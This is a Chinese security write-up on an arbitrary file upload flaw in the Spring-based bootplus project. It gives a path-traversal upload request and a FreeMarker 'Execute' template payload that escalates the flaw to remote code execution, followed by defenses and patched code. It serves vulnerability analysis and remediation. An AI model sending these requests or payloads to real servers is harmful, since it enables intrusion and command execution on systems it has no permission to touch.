Spring 框架文件上传getshell思路扩展
字数 1236 2025-08-29 08:30:13
Spring框架文件上传漏洞分析与利用扩展
漏洞概述
本文详细分析Spring框架中文件上传功能的安全风险,特别是如何通过文件上传漏洞实现getshell的技术思路。文章将涵盖漏洞原理、利用方法、防御措施等内容。
漏洞发现
在审计bootplus项目时发现一个任意文件上传漏洞(GitHub issue #24),该漏洞允许攻击者上传任意文件到服务器指定位置。
漏洞代码分析
漏洞出现在以下文件上传接口:
@ResponseBody
@RequestMapping(value = "/upload", method = RequestMethod.POST)
public R upload(Integer uploadType, HttpServletRequest request) throws Exception {
MultipartHttpServletRequest multipartRequest;
if (ServletFileUpload.isMultipartContent(request)) {
multipartRequest = (MultipartHttpServletRequest) request;
} else {
return R.error("请先选择上传的文件");
}
String fileContextPath = null;
Iterator<String> ite = multipartRequest.getFileNames();
while (ite.hasNext()) {
MultipartFile file = multipartRequest.getFile(ite.next());
if (file == null) {
return R.error("上传文件为空");
}
String fileName = file.getOriginalFilename();
logger.info("上传的文件原名称:{}", fileName);
String fileType = fileName.indexOf(".") != -1
? fileName.substring(fileName.lastIndexOf(".") + 1) : null;
logger.info("上传文件类型:{}", StringUtils.defaultString(fileType));
String trueFileName = getTrueFileName(fileName, uploadType);
fileContextPath = FileUtils.generateFileUrl(
MyWebAppConfigurer.FILE_UPLOAD_PATH_EXT, trueFileName);
String uploadPath = FileUtils.generateFileUrl(
applicationProperties.getFileConfig().getUploadPath(), trueFileName);
logger.debug("存放文件的路径:{}", uploadPath);
File fileUpload = FileUtils.getFile(uploadPath);
FileUtils.forceMkdirParent(fileUpload);
file.transferTo(fileUpload);
fileHandle(fileUpload);
break;
}
return R.ok().put("filePath", fileContextPath);
}
主要问题点
- 未校验文件类型:代码虽然获取了文件扩展名,但未进行任何白名单校验
- 目录穿越风险:直接使用用户提供的文件名构造路径,未过滤
../等路径穿越字符 - 未限制文件内容:对上传文件内容未做任何校验
漏洞利用
基本利用方法
- 构造包含路径穿越字符的文件名(如
../../../1.txt) - 上传文件到任意可写目录
示例HTTP请求:
POST /file/upload HTTP/1.1
Host: 127.0.0.1:7878
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNRCAxJ6FTDUcBwrC
------WebKitFormBoundaryNRCAxJ6FTDUcBwrC
Content-Disposition: form-data; name="file"; filename="../../../1.txt"
Content-Type: application/octet-stream
aaaaa
------WebKitFormBoundaryNRCAxJ6FTDUcBwrC--
高级利用 - 覆盖模板文件实现RCE
由于Spring项目默认不解析JSP,传统上传JSP马的方法无效。但可以通过覆盖模板文件实现RCE:
- 识别模板引擎:目标系统使用FreeMarker模板引擎
- 定位模板文件:模板文件位于
src/main/resources/templates/ - 构造恶意模板:覆盖原有模板文件,插入FreeMarker命令执行代码
FreeMarker命令执行原理
FreeMarker支持通过?new实例化某些Java类,特别是freemarker.template.utility.Execute类可用于执行系统命令。
示例恶意模板内容:
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("calc") }
利用步骤
- 上传覆盖模板文件
- 访问不存在的路由触发错误页面,执行模板中的恶意代码
利用条件与限制
- JAR包部署:如果项目以JAR包形式运行,修改
classpath:/templates/中的模板不会生效,因为JAR包中的资源是只读的 - WAR包部署:如果是WAR包部署到Tomcat,则可以直接上传JSP文件,无需覆盖模板
- 文件权限:需要目标目录有写入权限
防御措施
-
文件名过滤:
- 过滤
../等路径穿越字符 - 使用白名单限制文件扩展名
- 过滤
-
文件内容校验:
- 校验文件头与扩展名是否匹配
- 对图片等文件进行重采样处理
-
存储安全:
- 将上传文件存储在Web根目录外
- 使用随机文件名,不保留原始文件名
-
权限控制:
- 限制上传目录的权限
- 对上传功能进行身份验证
-
框架配置:
- 禁用FreeMarker的危险功能:
freemarker.template.utility.Execute
- 禁用FreeMarker的危险功能:
修复代码示例
@ResponseBody
@RequestMapping(value = "/upload", method = RequestMethod.POST)
public R upload(Integer uploadType, HttpServletRequest request) throws Exception {
// 验证是否为multipart请求
if (!ServletFileUpload.isMultipartContent(request)) {
return R.error("请先选择上传的文件");
}
MultipartHttpServletRequest multipartRequest = (MultipartHttpServletRequest) request;
String fileContextPath = null;
// 只处理第一个文件
MultipartFile file = multipartRequest.getFile(multipartRequest.getFileNames().next());
if (file == null || file.isEmpty()) {
return R.error("上传文件为空");
}
// 获取安全的文件名
String fileName = getSafeFileName(file.getOriginalFilename());
// 验证文件扩展名
if (!isAllowedExtension(fileName)) {
return R.error("不允许的文件类型");
}
// 生成随机存储文件名
String storageName = UUID.randomUUID().toString() + getExtension(fileName);
String uploadPath = applicationProperties.getFileConfig().getUploadPath() + File.separator + storageName;
try {
// 创建父目录
File destFile = new File(uploadPath);
File parent = destFile.getParentFile();
if (!parent.exists()) {
parent.mkdirs();
}
// 传输文件
file.transferTo(destFile);
// 返回相对路径
fileContextPath = "/uploads/" + storageName;
return R.ok().put("filePath", fileContextPath);
} catch (IOException e) {
return R.error("文件上传失败");
}
}
// 安全文件名处理
private String getSafeFileName(String fileName) {
if (fileName == null) return "file";
// 移除路径信息
fileName = fileName.substring(fileName.lastIndexOf('/') + 1);
fileName = fileName.substring(fileName.lastIndexOf('\\') + 1);
// 替换特殊字符
return fileName.replaceAll("[^a-zA-Z0-9\\.\\-]", "_");
}
// 扩展名白名单
private boolean isAllowedExtension(String fileName) {
String[] allowed = {"jpg", "png", "gif", "pdf", "txt"};
String ext = getExtension(fileName).toLowerCase();
for (String a : allowed) {
if (a.equals(ext)) {
return true;
}
}
return false;
}
private String getExtension(String fileName) {
int dot = fileName.lastIndexOf('.');
return (dot == -1) ? "" : fileName.substring(dot + 1);
}
总结
Spring框架文件上传功能如果实现不当,可能导致严重的安全问题。通过本文分析,我们了解到:
- 简单的文件上传漏洞可能被扩展为RCE
- 模板覆盖是一种有效的getshell方法,但受部署方式限制
- 防御需要从文件名处理、内容校验、存储位置等多方面入手
开发人员应始终遵循最小权限原则,对用户上传内容保持高度警惕,实施多层防御措施来保护系统安全。